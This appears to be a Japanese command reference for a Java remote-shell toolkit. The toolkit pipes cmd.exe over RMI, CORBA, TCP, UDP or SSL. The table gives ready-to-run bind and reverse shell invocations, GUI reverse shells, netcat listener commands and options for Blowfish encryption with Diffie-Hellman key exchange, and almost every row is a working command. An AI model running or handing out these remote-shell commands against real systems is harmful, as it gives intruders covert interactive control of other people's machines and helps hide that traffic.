RMI サーバ側で実行するコマンド | start /min rmiregistry.exe 《ポート》 |
環境変数 "CLASSPATH" に RmiCmdShell.jar を通しておく必要がある | |
CORBA サーバ側で実行するコマンド | start /min orbd.exe -ORBInitialPort 《ポート》 |
通常(RMI) | |
RMI Server/Shell Server | RmiCmdShell.bat -RMIServer -Host 0.0.0.0 -Port 《ポート》 -ShellServer -ShellCommand "cmd.exe /q" |
RMI Client/Shell Client | RmiCmdShell.bat -RMIClient -Host 192.0.2.1 -Port 《ポート》 -ShellClient |
通常(CORBA) | |
CORBA Server/Shell Server | CorbaCmdShell.bat -CorbaServer -ORBInitialHost 0.0.0.0 -ORBInitialPort 《ポート》 -ShellServer -ShellCommand "cmd.exe /q" |
CORBA Client/Shell Client | CorbaCmdShell.bat -CorbaClient -ORBInitialHost 192.0.2.1 -ORBInitialPort 《ポート》 -ShellClient |
リバース(RMI) | |
RMI Server/Shell Client | RmiCmdShell.bat -RMIServer -Host 0.0.0.0 -Port 《ポート》 -ShellClient |
RMI Client/Shell Server | RmiCmdShell.bat -RMIClient -Host 192.0.2.1 -Port 《ポート》 -ShellServer -ShellCommand "cmd.exe /q" |
リバース(CORBA) | |
CORBA Server/Shell Client | CorbaCmdShell.bat -CorbaServer -ORBInitialHost 0.0.0.0 -ORBInitialPort 《ポート》 -ShellClient |
CORBA Client/Shell Server | CorbaCmdShell.bat -CorbaClient -ORBInitialHost 192.0.2.1 -ORBInitialPort 《ポート》 -ShellServer -ShellCommand "cmd.exe /q" |
リバース GUI(RMI) | |
RMI Server/Shell Client | RmiCmdShell.bat -RMIServer -Host 0.0.0.0 -Port 《ポート》 -ShellClient -GUI |
リバース GUI(CORBA) | |
CORBA Server/Shell Client | CorbaCmdShell.bat -CorbaServer -ORBInitialHost 0.0.0.0 -ORBInitialPort 《ポート》 -ShellClient -GUI |
暗号化 | |
共通鍵その1 | -CipherAlgorithm Blowfish -CipherKey 《秘密鍵文字列》 |
共通鍵その2 | -CipherAlgorithm Blowfish -CipherFile 《秘密鍵文字列を文字しているファイル》 |
共通鍵を DH 鍵交換する | -CipherAlgorithm Blowfish -DH |
相手は nc.exe -L -p 《ポート》 nc.exe -L -p 《ポート》 -u SSL の場合は stunnel/stone など で待機 |
||
TCP Client の場合 | TCPCmdShell.bat -tcp -Host 192.0.2.1 -Port 《ポート》 -NetworkClient -ShellCommand "cmd.exe /q" | 相手は、nc -nvv -L -p 《ポート》 で待機 |
TCP Server の場合 | TCPCmdShell.bat -tcp -Host 0.0.0.0 -Port 《ポート》 -NetworkServer -ShellCommand "cmd.exe /q" | 相手は、nc -nvv 192.0.2.1 《ポート》 で接続 |
UDP Client の場合 | TCPCmdShell.bat -udp -Host 192.0.2.1 -Port 《ポート》 -NetworkClient -ShellCommand "cmd.exe /q" | 相手は、nc -nvv -u -L -p 《ポート》 で待機 |
UDP Server の場合 | TCPCmdShell.bat -udp -Host 0.0.0.0 -Port 《ポート》 -NetworkServer -ShellCommand "cmd.exe /q" | 相手は、nc -nvv -u 192.0.2.1 《ポート》 で接続 |
TCP/SSL の場合 | TCPCmdShell.bat -ssl -Host 192.0.2.1 -Port 《ポート》 -NetworkClient -ShellCommand "cmd.exe /q" | 相手は、SSL のサーバで待機(stunnel/stone など) |
ScriptByJava.bat 《出力ファイル名》 -ShellCommand "cmd.exe /q" |
ScriptRedirector.bat -Host 《転送先ホスト》 -Port 《転送先ポート》 -LocalPort 《待機ポート》 -Script 《スクリプトファイルパス》 |
ShellCommandEnvp | シェルサーバ時、子プロセスに渡す環境変数 |
ShellCommandTempPath | シェルサーバ時、子プロセスに作業ディレクトリのパス |
ShellServerExitCommand | シェルサーバ時、ここで指定した文字列を与えると、終了する |
BufferSize | ここで指定したサイズ分、(場合によっては改行まで)をバッファして通信相手に渡している |
ThreadTimeout | スレッドの動作間隔 |
NoHeartBeat | RMI/Corba 版は、通信がなくてもリモートメソッドが呼び出されるかどうかでハートビートをしているが、それを停止させる |
CharSet | 文字コード |
CipherFile/CipherKey | 共通鍵を[引数|ファイル]指定する |
NoEncode | 暗号化通信など、既定でエンコードしているが、強制的にエンコードしない(デバグ用) |
CipherKeyLen | CipherTest\ 下のプログラムで確認した最大キー長を使っているが、キー長を強制指定 |
CipherAlgorithm | 暗号化アルゴリズム 基本的には javax.crypto.Cipher クラスへ渡す文字列 |
Base16/Base64/URLEncode | 通信相手に送る時にデータを符号化する CORBA 版は通信データに日本語があるとダメなので、符号化した方がよい URLEncode は文字列のみ対応しているので(java.net.URLEncoder/java.net.URLDecoder)使わない方が良い |
MaxConnection | 同時接続数 |